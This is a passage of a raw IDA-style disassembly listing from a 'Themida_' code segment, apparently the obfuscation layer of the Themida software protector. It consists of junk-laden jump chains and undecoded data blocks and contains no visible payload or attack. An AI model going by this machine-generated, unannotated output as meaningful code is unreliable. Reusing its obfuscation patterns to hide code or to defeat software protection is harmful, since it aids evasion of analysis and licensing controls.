		dd 4EC8124h, 89000000h,	0EC83243Ch, 48F5404h, 24048124h
		dd 4, 81243C8Bh, 4C4h, 4BE5600h, 1000000h, 97E95EF7h, 8100004Bh
		dd 4C4h, 6CF8E900h, 515A0000h, 4B9h, 0C084E900h, 0EC81FFFFh
		dd 4, 0FF241489h, 5A042474h, 8B24048Fh,	6E682424h, 0E9000019h
		dd 0FFFFEAF7h, 0E9DA015Ah, 0FFFFF08Dh
; ---------------------------------------------------------------------------


loc_5FBFD4:				; CODE XREF: Themida_:005F8EC1j
		add	al, 58h
		pop	ebx
		push	bx
		push	eax
		push	edx
		mov	dl, 22h
		mov	ah, 4Ch
		add	ah, dl
		pop	edx
		inc	ah
		shl	ah, 4
		add	ah, 9Fh
		jmp	loc_601C04
; ---------------------------------------------------------------------------
		db 68h
		dd 3E05h, 0FFDE78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FBFF9:				; CODE XREF: Themida_:005F78E6j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	6DB8h
		mov	[esp], ebx
		push	esi
		mov	esi, 800h
		mov	ebx, esi
		pop	esi
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5F9F32
; ---------------------------------------------------------------------------


loc_5FC021:				; CODE XREF: Themida_:005FA6E3j
		or	ecx, 2FE252D0h
		jmp	loc_6023E5
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 6C9Bh, 0D800CB04h, 0C7E95266h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FC03F:				; CODE XREF: Themida_:005FB7BBj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, 43897C49h
		push	edi
		push	ebp
		mov	ebp, 2CC011FBh
		not	ebp
		jmp	loc_5F6E00
; ---------------------------------------------------------------------------
aXfSjw		db 'Xf[W',0
		align 4
dword_5FC068	dd 0E924248Bh, 0FFFFA8D3h; ---------------------------------------------------------------------------


loc_5FC070:				; CODE XREF: Themida_:005FEA85j
		pop	ebp
		jmp	loc_5F71D8
; ---------------------------------------------------------------------------
		dw 0D5BEh
		dd 0E91ED310h, 55B4h, 0E9B5E180h, 0FFFFBE63h, 5705E0C1h
		dd 9235E4BFh, 0DF2BE966h, 0A268FFFFh, 89000064h, 34FF2404h
		dd 24048B24h, 0FFFC53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FC0A9:				; CODE XREF: Themida_:005FC4BEj
		mov	ecx, 505A778Ch
		jmp	loc_6006B2
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 3570h, 54240489h,	0FFD708E9h, 10EE81FFh
		dd 5B2B7C56h, 0EE81FE01h, 2F4E3A6Fh, 0FFCC98E9h
		db 0FFh
byte_5FC0D9	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:005F67D8o
		dd 10E99C24h, 81FFFFB6h, 4C3h, 241C8700h, 1C4F215Ch, 0A84DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC0F6:				; CODE XREF: Themida_:006017B2j
		add	ebx, 27732FA4h
		or	ebx, 4FC91C93h
		jmp	loc_602D7A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 669718B4h, 3B13E9h
		db 0
byte_5FC111	db 0FFh, 74h, 24h	; DATA XREF: Themida_:005F66B8o
		dd 2434FF04h, 4EC8358h,	44EBE9h, 80D5F600h, 0B5E934CDh
		dd 5600005Dh, 33468h, 48F5400h,	24048324h, 0AFCFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC13E:				; CODE XREF: Themida_:005FD1F8j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	4EA6h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5F7B22
; ---------------------------------------------------------------------------


loc_5FC166:				; CODE XREF: Themida_:005FB89Aj
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5F7D75
; ---------------------------------------------------------------------------
		dd 733ACD81h, 0DDF7148Ch, 7F83C581h, 0C6811FCEh, 68C25C1Bh
		dd 59CCC681h, 0EE013192h, 20F7E9h, 5C685900h, 0E900000Bh
		dd 0FFFFA906h
; ---------------------------------------------------------------------------


loc_5FC1A4:				; CODE XREF: Themida_:005FF8E4j
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0E7h
		dd 59C8285Ah, 0B60FC330h, 30CBE9C0h, 248B0000h,	66F9F624h
		dd 51CCB60Fh, 0C181E189h, 4, 4C5E957h
		db 2 dup(0)
word_5FC1D2	dw 5052h		; DATA XREF: Themida_:005F67A4o
		dd 405E089h, 83000000h,	48704E8h, 0C40AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC1E6:				; CODE XREF: Themida_:005F6D6Cj
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	esp
		jmp	loc_5FDBB4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 87h
		dd 6824048Bh, 1F27h, 0E9240489h, 4912h
dword_5FC204	dd 9C241CF7h, 0FFA736E9h, 179DBBFFh, 0E1E91E1Ah
					; DATA XREF: Themida_:005F6664o
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FC217:				; CODE XREF: Themida_:005FFC36j
		sub	eax, ecx
		pop	ecx
		jmp	loc_5F73C9
; ---------------------------------------------------------------------------
		db 0B1h
		dd 35C18075h, 0FE08E980h, 1AF180C9h, 0C180C9FEh, 59CC001Fh
		dd 0E92DCC80h, 5359h, 9C240CD2h, 0FFA6FEE9h, 243489FFh
		dd 1DE9E689h, 0B9000050h, 34084C7Eh, 82E9D9F7h,	56FFFFDDh
		dd 0E23B81BEh, 5EF02940h, 23C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FC269:				; CODE XREF: Themida_:00601E89j
		add	ebp, edx
		jmp	loc_5F93C3
; ---------------------------------------------------------------------------
		dd 24048F59h, 0B60F665Ch, 876866C8h, 0C896636h,	0A6BDE924h
		dd 5AFFFFh, 0D02858E2h,	8324148Bh, 0EC8304C4h, 24148904h
		dd 0B652F9B6h, 5AF028B1h, 0FFDCE6E9h, 24048BFFh, 4C481h
		dd 3C870000h, 0F2CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC2B6:				; CODE XREF: Themida_:005F76B7j
		pop	edi
		add	edx, ebx
		add	edx, 5F0D339Fh
		pop	ebx
		jmp	loc_5F7B5E
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 2
aZSlb		db '<$\LB',0
		dd 62B7B900h, 0E9810CC1h, 4AC20E86h, 1EA26853h,	0AAE96CBDh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC2E7:				; CODE XREF: Themida_:005FAC28j
		push	3FF05946h
		jmp	loc_602D44
; ---------------------------------------------------------------------------
		db 68h,	0ADh, 5Ch
		dd 67E92805h, 66FFFFCAh, 0E959CA21h, 0FFFFE381h, 0FFFF2D5Bh
		dd 0BB53FFFFh, 7E5A4979h, 16B4E9h, 0E95A6600h, 0FFFFAC95h
		dd 5C243C87h, 0E9F1F766h, 0FFFFDED8h, 1E02F8B9h, 5BEFE955h
		dd 0E9500000h, 29B6h, 8704E883h, 895C2404h, 0FF54240Ch
		dd 83E92434h, 81FFFFD2h, 4C4h, 0B2FEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC356:				; CODE XREF: Themida_:005F8B5Dj
		sub	ebp, 2B714F9Dh
		sub	ebp, 643023EDh
		sub	ebp, 7ACD59E0h
		inc	ebp
		jmp	loc_5FE874
; ---------------------------------------------------------------------------


loc_5FC36E:				; CODE XREF: Themida_:005FCA57j
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_602C44
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 2Ch
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC37F:				; CODE XREF: Themida_:005FA316j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 658A120Dh
		sub	ebp, edi
		pop	edi
		push	ebp
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5FD98F
; ---------------------------------------------------------------------------
		dd 57C32958h, 12030BFh,	64BA523Dh, 81645F2Ch, 3D0CA4C2h
		dd 0DB6DE9A9h, 815DFFFFh, 27278BC7h, 81D7011Bh,	27278BEFh
		dd 3C875A1Bh, 5E95C24h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC3D3:				; CODE XREF: Themida_:00601C30j
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		or	ebx, ebx
		jnz	loc_5FE1D6
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5FC529
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 0E3C1DBF7h, 0EB814304h, 0F81034Dh, 815BDD01h, 4EDh
		dd 242C8700h, 212EE9h, 7E7C000h, 51FBB450h, 0E980E8B1h
		dd 0A8C2E935h, 0EA81FFFFh, 28745509h, 155AE9h, 58E20000h
		dd 4DD5E9h
		db 0
byte_5FC435	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F6834o
		dd 0FBB1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC43E:				; CODE XREF: Themida_:005FBD1Ej
		add	esp, 4
		add	edx, edi
		sub	edx, 55595B08h
		pop	edi
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_600793
		push	dword ptr [edi+28h]
		jmp	loc_5FFBFD
; ---------------------------------------------------------------------------


loc_5FC45D:				; CODE XREF: Themida_:006001BCj
		mov	edx, [esp]
		jmp	loc_5F9510
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24043166h, 0A4D1E99Ch, 0C281FFFFh, 4, 0FFAC04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FC47D:				; CODE XREF: Themida_:0060068Cj
		sub	ebp, 49601696h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 6
		push	ebx
		xor	dword ptr [esp], 43F34D19h
		mov	eax, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5F97B8
; ---------------------------------------------------------------------------


loc_5FC4AD:				; CODE XREF: Themida_:005FDCC2j
		push	23CFh
		mov	[esp], ebx
		push	639Dh
		mov	[esp], ebp
		push	ecx
		jmp	loc_5FC0A9
; ---------------------------------------------------------------------------
		db 0F7h
aSca		db 'a',0
		align 2
		dw 1C8Bh
		dd 4C48324h, 2FEAE9h, 1CC4B800h, 0BD5541F4h, 4A7C03E8h
		dd 0BE8204BEh, 5DEE0170h, 57E9C629h, 100002Dh, 5D52E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FC4F6:				; CODE XREF: Themida_:005F78BCj
		mov	dl, 0F4h
		sub	bl, dl
		pop	dx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_5F9B6E
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832404h, 4C6E904h, 34870000h, 24248B24h, 24048B66h
		dd 575B5453h, 0FFD626E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FC529:				; CODE XREF: Themida_:005FC3EDj
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		jmp	loc_5F874F
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 6624248Bh, 0E9240489h, 0FFFFA3F7h
; ---------------------------------------------------------------------------


loc_5FC54C:				; CODE XREF: Themida_:005FBA64j
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5FD1FD
; ---------------------------------------------------------------------------
		db 0B7h, 0B9h, 52h
		dd 0E27E9h, 815E5400h, 4C6h, 9CBA5200h,	0C128474Fh, 0EA8104EAh
		dd 28474F5h, 148BD601h,	4C48324h, 5C243487h, 5C24048Fh
		dd 0FFFB22E9h, 816659FFh, 666A43E2h, 95FFF281h,	0E9D12966h
		dd 40EDh, 0BCCB8143h, 0F74EE111h, 12C381D3h, 3110744Dh
		dd 0C5815BD8h, 3B465560h, 0FFEA56E9h, 0F7EF81FFh, 105160Fh
		dd 5FD1E9EFh, 5E540000h, 0FFE855E9h, 0E8C681FFh, 0E913A54Bh
		dd 0FFFFCBE0h
; ---------------------------------------------------------------------------


loc_5FC5E0:				; CODE XREF: Themida_:00600228j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5FF516
; ---------------------------------------------------------------------------


loc_5FC5EE:				; CODE XREF: Themida_:006016D1j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5FF715
; ---------------------------------------------------------------------------


loc_5FC5FA:				; CODE XREF: Themida_:005F8821j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	esi
		push	ecx
		jmp	loc_601806
; ---------------------------------------------------------------------------
		db 66h
		dd 3166D831h, 0D83166C3h, 66D3F766h, 3166D831h,	0D83166C3h
		dd 74E86866h, 24048966h, 2474FF66h, 48B6602h, 2C48124h
		dd 66000000h, 0E924048Fh, 0FFFFA303h, 0C800292Ch, 0C393E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC64A:				; CODE XREF: Themida_:00602CE3j
		mov	[esp], eax
		jmp	loc_5FEB8D
; ---------------------------------------------------------------------------
		dw 0ECE9h
		dd 54FFFFA2h, 40558h, 0BD550000h, 4, 0A03F042Dh, 51E80178h
		dd 0BF1CD1B9h, 0E9814923h, 5C1A78D2h, 0FBE98141h, 14F0464h
		dd 875D59C8h, 248B2404h, 2434FF24h, 582434FFh, 87E95452h
		dd 81000038h, 4ECh, 24348900h, 3EAE9h, 48B5900h, 0E8A7E924h
		dd 0C281FFFFh, 0AB24B7Dh, 0C303F92Dh, 5D00112h,	12C303F9h
		dd 0E92434FFh, 0FFFFB1C3h
; ---------------------------------------------------------------------------


loc_5FC6C8:				; CODE XREF: Themida_:005FBA6Cj
		push	ecx
		mov	ecx, 71FD0ABBh
		add	ecx, 52385AB6h
		add	ecx, 44A7FD9h
		push	esi
		mov	esi, 479818E6h
		and	ecx, esi
		jmp	loc_5F6FE0
; ---------------------------------------------------------------------------
		db 29h
		dd 0C335AD1h, 240C3124h, 8B240C33h, 0C892424h, 34FF5424h
		dd 89505924h, 405E0h, 4050000h,	87000000h, 0E95C2404h
		dd 0FFFFB1D7h, 4C4815Fh, 0E9000000h, 60BDh, 4903E1C1h
		dd 0C181D1F7h, 511D428Ch, 1A1EE9h, 4BA5200h, 1000000h
		dd 0EC815AD5h, 4, 0BB241C89h, 2, 0C1E9DD01h, 8B000014h
		dd 0C4812414h, 4, 0FFBA76E9h, 348966FFh, 51536624h, 7C916866h
		dd 49665966h, 6AF18166h, 0CC1CE92Ch, 0C681FFFFh, 0F1479C1h
		dd 4A0FC681h, 0E5E940CAh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FC787:				; CODE XREF: Themida_:005FDB10j
		neg	ecx
		add	ecx, 5139114Eh
		jmp	loc_602A17
; ---------------------------------------------------------------------------
		dd 4EC8357h, 81242489h,	42404h,	535F0000h, 2F591BBBh, 0EB814B6Dh
		dd 640AF5B8h, 31C1EB81h, 0CB815A1Ah, 12FE025Fh,	49E38143h
		dd 0C157116Bh, 0C38105E3h, 1DFC0004h, 97E9DF01h, 68FFFFDFh
		dd 5BF2h, 0B9240C89h, 2B20373Ah, 5B1DE9h, 240C8B00h, 8104C483h
		dd 4C1h, 4EC8300h, 0FFE49BE9h, 77FFBAFFh, 0D301555Ch, 3871E9h
		dd 0B7685800h, 89000050h, 0FCB82404h, 81000003h, 0E86EF7EFh
		dd 4EC8141h, 89000000h,	99BA2414h, 1489777h, 24148BD7h
		dd 4C481h, 0C7010000h, 7799EF81h, 0EC814897h, 4, 0BD242C89h
		dd 70883310h, 0FFC17BE9h
		db 0FFh
byte_5FC84D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F66A0o
aHlu		db '$hlU',0
		align 2
aSb		db 'b(',0
		dw 4000h
		dd offset dword_53EF10+7D9h
		dd 81CE0100h, 866CEAEEh, 0EE015927h, 52A6E9h, 24248B00h
		dd 0FF2434FFh, 57582434h, 0C7815F54h, 4, 4BD5556h, 89000000h
		dd 9CE95DEEh, 5B000038h, 5A3E9h, 81D2F700h, 0F76511E2h
		dd 6EAC17Ah, 8102E2C1h,	4B36A7C2h, 5AD7013Ah, 0EF81C701h
		dd 3A6B3CB7h, 81F70158h, 0E80953EFh, 0E9FCE971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC8C6:				; CODE XREF: Themida_:0060039Ej
		push	esp
		jmp	loc_60122F
; ---------------------------------------------------------------------------


loc_5FC8CC:				; CODE XREF: Themida_:005FA636j
		pop	ecx
		shr	ebx, 2
		xor	ebx, 1E244852h
		add	ebx, 4D286F29h
		jmp	loc_5FD9F4
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0C4h
		dd 0FFEB60E9h, 57F705FFh, 0A7054620h, 0E92AAE0Fh, 0FFFFD94Ah
		dd 81B35359h, 0CB80CBFEh, 0FECBFEACh, 7EF380CBh, 2C5BD800h
		dd 832E90Fh, 0CB010000h, 0FFBACDE9h
		db 0FFh
byte_5FC919	db 66h,	8Fh, 2		; DATA XREF: Themida_:005F6858o
		dd 0FFA022E9h
		db 0FFh
byte_5FC921	db 0FFh, 77h, 40h	; DATA XREF: Themida_:005F6790o
		dd offset dword_556D48+3A1h
		dd 24148900h, 0BB6DE7BAh, 3BF2812Ah, 817EAD2Fh,	16642EEAh
		dd 1EBD556Fh, 0E941FE2Fh, 88Eh,	674BEF81h, 0FF573782h
		dd 0E95F240Ch, 3B4Dh
; ---------------------------------------------------------------------------


loc_5FC958:				; CODE XREF: Themida_:005F7250j
		add	ebx, 32045DDh
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5F963E
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 5CBE2207h, 1291E781h, 0F7817BC4h, 60D841CCh,	0E951EFD1h
		dd 0FFFFE930h, 88DEEB80h, 0A71E9DAh, 1C870000h,	0E123E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC99A:				; CODE XREF: Themida_:005FB5A2j
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 5603130Bh
		xor	edx, esi
		pop	esi
		xor	edx, 29686DB3h


loc_5FC9AD:				; CODE XREF: Themida_:005FF8B5j
					; Themida_:00602523j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_601A3A
; ---------------------------------------------------------------------------
		dd 51242489h, 0B5A2E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FC9E6:				; CODE XREF: Themida_:006006FFj
		add	ecx, 4
		push	ebx
		jmp	loc_5FEFA0
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 133ABD24h, 0ED8126EFh, 3D336425h, 0E5D1D5F7h, 3CCEE9h
		dd 4E7C100h, 0FFBA24E9h, 0C5814DFFh, 0A883D46h,	21CAF581h
		dd 0CD81188Eh, 1FFF18F8h, 9DFBF581h, 0EA897FFFh, 0FFF989E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FCA31:				; CODE XREF: Themida_:00602EA3j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	64B2h
		mov	[esp], eax
		jmp	loc_5FFC3B
; ---------------------------------------------------------------------------
		align 2
		dw 0E9CAh
		dd 0FFFFFC59h
; ---------------------------------------------------------------------------


loc_5FCA4C:				; CODE XREF: Themida_:005FBDC5j
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5FC36E
; ---------------------------------------------------------------------------
		dd 5C243487h, 24148B51h, 0FFBE4FE9h, 3EC281FFh,	0E9662363h
		dd 757h, 0E9243489h, 33D1h, 5D0295Fh, 5CED0CB0h, 3C832D5Ah
		dd 1DE933DCh, 0BE000035h, 64735CB0h, 0CFCEC681h, 0E6C1E172h
		dd 0B6EE8103h, 812AD97Ah, 0B83E47C6h, 0DEF74E5Bh, 0A77EF681h
		dd 65E987BBh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FCAB7:				; CODE XREF: Themida_:005FD241j
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_600793
		push	2F43h
		mov	[esp], ecx
		mov	ecx, 4D7C2928h
		jmp	loc_5FDABF
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0ECh
		dd 241C8904h, 12C4E9h, 47DFF700h, 5106E7C1h, 126126B9h
		dd 62D3E972h, 47B10000h, 1D1DE9h, 6A580500h, 0D80157DFh
		dd 8904EC83h, 73BF243Ch, 0E934F20Eh, 0CCFh, 7AE9A535h
		dd 18E8E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FCB1A:				; CODE XREF: Themida_:005FBA0Ej
		add	bl, al
		sub	bl, 0BAh
		jmp	loc_5F78BA
; ---------------------------------------------------------------------------
		dd 405E089h, 5000000h, 4, 5C240487h, 5D55E955h,	11680000h
		dd 89000072h, 4D68241Ch, 89000000h, 4812424h, 424h, 0C3815B00h
		dd 4
		db 83h,	0C3h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 559D2A49h
		sub	esi, 559D2A45h
		add	ebp, esi
		jmp	loc_5FF0B4
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 6852E689h, 4, 3E51E9h, 3E3C100h, 8105EBC1h, 0B95D8CE3h
		dd 0FEB8168h, 313E2D72h, 0D0015BDAh, 3AD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FCB9D:				; CODE XREF: Themida_:005FD218j
		or	ebx, 181E2F46h
		shr	ebx, 7
		inc	ebx
		inc	ebx
		sub	ebx, 1A146C04h
		sub	eax, ebx
		jmp	loc_602C4A
; ---------------------------------------------------------------------------


loc_5FCBB5:				; CODE XREF: Themida_:005FE932j
		mov	[esp], ebx
		push	ebp
		push	edi
		mov	edi, 41973B40h
		inc	edi
		shl	edi, 3
		shl	edi, 3
		jmp	loc_5F8777
; ---------------------------------------------------------------------------
		db 66h
		dd 8DF5805Bh, 0C8BEB00h, 0E1CBE924h, 3C8BFFFFh,	4C48324h
		dd 0AFEB815Dh, 6617B410h, 5224148Bh, 55565A54h,	536C8BDh
		dd 481555Fh, 0E37D6C24h, 36E95E65h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FCC03:				; CODE XREF: Themida_:005FD8D3j
		add	ebp, ebx
		pop	ebx
		jmp	loc_5FE095
; ---------------------------------------------------------------------------


loc_5FCC0B:				; CODE XREF: Themida_:005FD82Dj
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6011E1
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	0C8904ECh, 40B1B924h, 0BA522551h
		dd 0A396228h, 0FFEA2FE9h, 815E54FFh, 4C6h, 4C68100h, 33000000h
		dd 75E92434h, 8B00004Bh, 0C4812434h, 4,	3BE668h, 24048900h
		dd 662B07B8h, 39DE2D2Bh, 0E0C1416Ah, 226F3505h,	4BE9310Dh
		dd 89FFFFB1h, 49BE56E7h, 0E930AF32h, 7F7h, 7FC7BA52h, 0D2F75716h
		dd 3C34CA81h, 0EA8152A6h, 410746C3h, 0D80DC281h, 0D5297ACEh
		dd 0B2B4E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FCCAA:				; CODE XREF: Themida_:005FF584j
		mov	edi, 0FFFFFFFFh
		add	[esp+4], edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 5
		push	edx
		push	ecx
		push	25D974EFh
		jmp	loc_601931
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FFDCD6E9h, 9C5DE9FFh
		dd 0E957FFFFh, 17A0h, 0E902EBC1h, 0FFFFD82Ch, 1BFB68h
		dd 24148900h, 0FFE695E9h, 5EF321FFh, 28EDE9h, 4C68100h
		dd 33000000h, 34312434h, 24343324h, 9C25E95Ch, 0EA80FFFFh
		dd 51C2FE01h, 0E9D034B1h, 0E9C0D1F6h, 1333E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FCD32:				; CODE XREF: Themida_:005F9831j
		pop	ecx
		jmp	loc_5F77E0
; ---------------------------------------------------------------------------
		dd 0CB2849B1h, 2EE95966h, 5DFFFFA2h, 0FFFBFFE9h, 5EF589FFh
		dd 505DE929h, 0C446A3B8h, 12383506h, 0E0C13C99h, 67B95108h
		dd 138AC17h, 4C2D59C8h,	31DA0CEDh, 0DB04E9C1h, 0EFC1FFFFh
		dd 0E9DFF708h, 0FFFFCA74h
dword_5FCD7C	dd 24048B66h, 5D545550h, 1035BB53h, 63E940F8h
					; DATA XREF: Themida_:005F67A8o
		db 0F6h, 2 dup(0FFh)
byte_5FCD8F	db 66h			; DATA XREF: Themida_:005F6808o
		dd 0E924048Bh, 0FFFF9E8Ch, 4B951h, 0F6E90000h, 8B000043h
		dd 98E92424h, 0BBFFFF9Bh, 3A273F34h, 4C8B850h, 85E971AFh
		dd 6600001Dh, 4BEE981h,	0FFF536E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FCDC5:				; CODE XREF: Themida_:005FE53Aj
		pop	ebx
		push	edx
		jmp	loc_5FF3CB
; ---------------------------------------------------------------------------
dword_5FCDCC	dd 30E468h, 0E726800h, 6FE90000h		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FCDDB:				; CODE XREF: Themida_:005F7F44j
		and	edi, ebp
		pop	ebp
		shl	edi, 4
		sub	edi, 0F73BF3BCh
		or	ebx, edi
		jmp	loc_5F74FA
; ---------------------------------------------------------------------------
		dw 0D7B4h
		dd 0FFDE68E9h, 0BC281FFh, 5F44B427h, 2B850h, 0C2290000h
		dd 0FFCC17E9h
		db 0FFh
byte_5FCE09	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F68D0o
aVicussa3	db '$VUS3',0
		db 0
; ---------------------------------------------------------------------------


loc_5FCE17:				; CODE XREF: Themida_:005F699Cj
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 100h
		mov	ebx, ebp
		jmp	loc_5FCE7C
; ---------------------------------------------------------------------------
		dd 6E7CC781h, 81473B19h, 0DA795CEFh, 53D7F71Ch,	0CB4518BBh
		dd 8BDF2981h, 0C483241Ch, 0E9FA2904h, 0FFFFBBB4h
; ---------------------------------------------------------------------------


loc_5FCE60:				; CODE XREF: Themida_:005FEA39j
		xor	esi, ecx
		pop	ecx
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		jmp	loc_5FB47F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E924048Bh, 4380h
; ---------------------------------------------------------------------------


loc_5FCE7C:				; CODE XREF: Themida_:005FCE37j
		pop	ebp
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5FFC15
; ---------------------------------------------------------------------------


loc_5FCE8A:				; CODE XREF: Themida_:005FB5CAj
		mov	[esp], edi
		mov	edi, ebx
		push	edi
		push	3391h
		mov	[esp], edi
		mov	edi, 17ED20B3h
		xor	[esp+4], edi
		pop	edi
		pop	eax
		jmp	loc_5F9B10
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F2010000h, 0E924348Bh, 0FFFFC390h, 57241C89h
		dd 987360BFh, 0EED9687Ch, 15BCF74h, 2F9EE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FCECE:				; CODE XREF: Themida_:005FA7F9j
		push	eax
		mov	eax, 0C525814h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 47E84709h
		sub	ebx, edi
		add	ebx, 47E84709h
		jmp	loc_5F7E26
; ---------------------------------------------------------------------------


loc_5FCEF2:				; CODE XREF: Themida_:005F9CFFj
		mov	esp, [esp]
		shr	edi, 3
		jmp	loc_5F865A
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0E9E80100h, 0FFFFB3A9h
; ---------------------------------------------------------------------------


loc_5FCF0C:				; CODE XREF: Themida_:005FDB51j
		add	edx, 4
		jmp	loc_5F80B1
; ---------------------------------------------------------------------------
		dd 0E9F0015Eh, 5954h, 5FFB0159h, 0EB81C301h, 5E52796Eh
		dd 0E9008F66h, 0FFFF9A13h
; ---------------------------------------------------------------------------


loc_5FCF30:				; CODE XREF: Themida_:00601A7Ej
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5FB1F6
; ---------------------------------------------------------------------------
		db 31h
		dd 19E95AD5h, 81000044h, 0C3144CEEh, 0E0C68118h, 0E902CE33h
		dd 0FFFFDE27h, 89242C89h, 2D9FE9E5h, 0C3810000h, 76027E0Eh
		dd 0C143D3F7h, 0EB8106E3h, 237B28D2h, 685BD831h, 5758h
